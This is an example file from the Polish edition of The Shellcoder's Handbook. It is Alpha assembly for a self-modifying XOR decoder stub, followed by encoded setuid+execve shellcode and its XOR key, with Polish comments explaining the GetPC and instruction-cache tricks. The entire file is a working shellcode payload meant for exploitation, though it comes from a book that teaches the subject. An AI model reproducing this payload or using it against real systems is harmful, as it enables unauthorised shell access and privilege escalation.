/*

The Shellcoder's Handbook. Edycja polska
Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, 
Sinan Eren, Neel Mehta, Riley Hassell
Wydawnictwo Helion


Rozdzia 12
Zaawansowane metody wama w systemie Solaris
Przykad 6

Komentarze i uwagi prosz przesya na adres jack@infosecinstitute.com 
lub za porednictwem witryny http://www.infosecinstitute.com 

*/


#include <alpha/regdef.h>
#include <alpha/pal.h>
        .text
        .arch   generic
        .align 4
        .globl  main
        .ent    main
main:
        .frame  $sp, 0, $26

        lda  a0, -1000(sp)     #omwiony wczeniej kod GetPC.
back:
        bis  zero, 0x86, a1      #aa1 zawiera 0x00000086 czyli kod rozkazu imb
               #rozkaz imb zapewnia synchronizacj bufora rozkazw
                                  #z rozkazami w pamici


               #1. przebieg ptli: umieszcza rozkaz imb pod adresem (sp  1000)
        stl  a1, -4(a0)           #2. przebieg ptli: nadpisuje poniszy rozkaz bsr 
        addq a0, 48, a2
        stl  a1, -4(a2)           #nadpisuje rwnie acuch 0x41414141 kodem rozkazu imb
                                  #zapobiegajc niespjnoci bufora i-cache po procesie dekodowania;
                                  #poniewa kod rozkazu imb zawiera bajty zerowe
                                  #jest to jedyny sposb ich unikniecia w ptli dekodera.                                          #way to avoid NULL bytes in decoder loop.

        bsr  a0, back             #rozkaz rozgazienia do etykiety back, aduje pc do rejstru a0
                                  #w drugim przebiegu rozkaz bsr zostanie nadpisany
                                  #a sterowanie trafi do nastpnego rozkazu.
        addq a0, 52, a4     #przesunicie zakodowanych danych +4.
        addq zero, 60, a3     #rozmiar zakodowanych danych w bajtach. 
               #zmieniony zgodnie z rozmiarem kodu setuid+execve

        addq a0, 112, a5          #przesunicie klucza kodowania; rwne rozmiarowi zakodowanych danych + 52.
        addq a0, 48, a0           #waciwy kod powoki bdzie oczekiwa, e a0 wskazuje 
                                  #pierwszy z zakodowanych/odkodowanych rozkazw.

        ldl  a1, -4(a5)           #aduje klucz.
xorloop:
        ldl  a2, -4(a4)           #aduje podwjne sowo zakodowanych danych.
        xor  a2, a1, a2           #odkodowuje je.
        stl  a2, -4(a4)           #i zapisuje z powrotem.
        subq a3, 4, a3            #zmniejsza licznik.
        addq a4, 4, a4            #zwiksza licznik zakodowanych danych przechodzc do nastpnego podwjnego sowa.
        bne  a3, xorloop          #rozgazienie do xorloop jeli licznik rny od zera.
.long   0x41414141                #to podwjne sowo zostanie nadpisane kodem rozkazu imb, 
                                  #ktry oprnia bufor I-cache.
.long   0xcf497996
.long   0xca8e9c85
.long   0x3d368888
.long   0xcb6a7c88
.long   0x3f768880
.long   0xcf778c98
.long   0x8888880b
.long   0xcf568c99
.long   0xcd258c98
.long   0xcf778c9a
.long   0xcb6ffc88
.long   0x8888880b
.long   0xe1eaa7a7
.long   0xe0fba7e6
.long   0x88888888

.long   0x88888888                #klucz kodowania XOR.
        .end    main
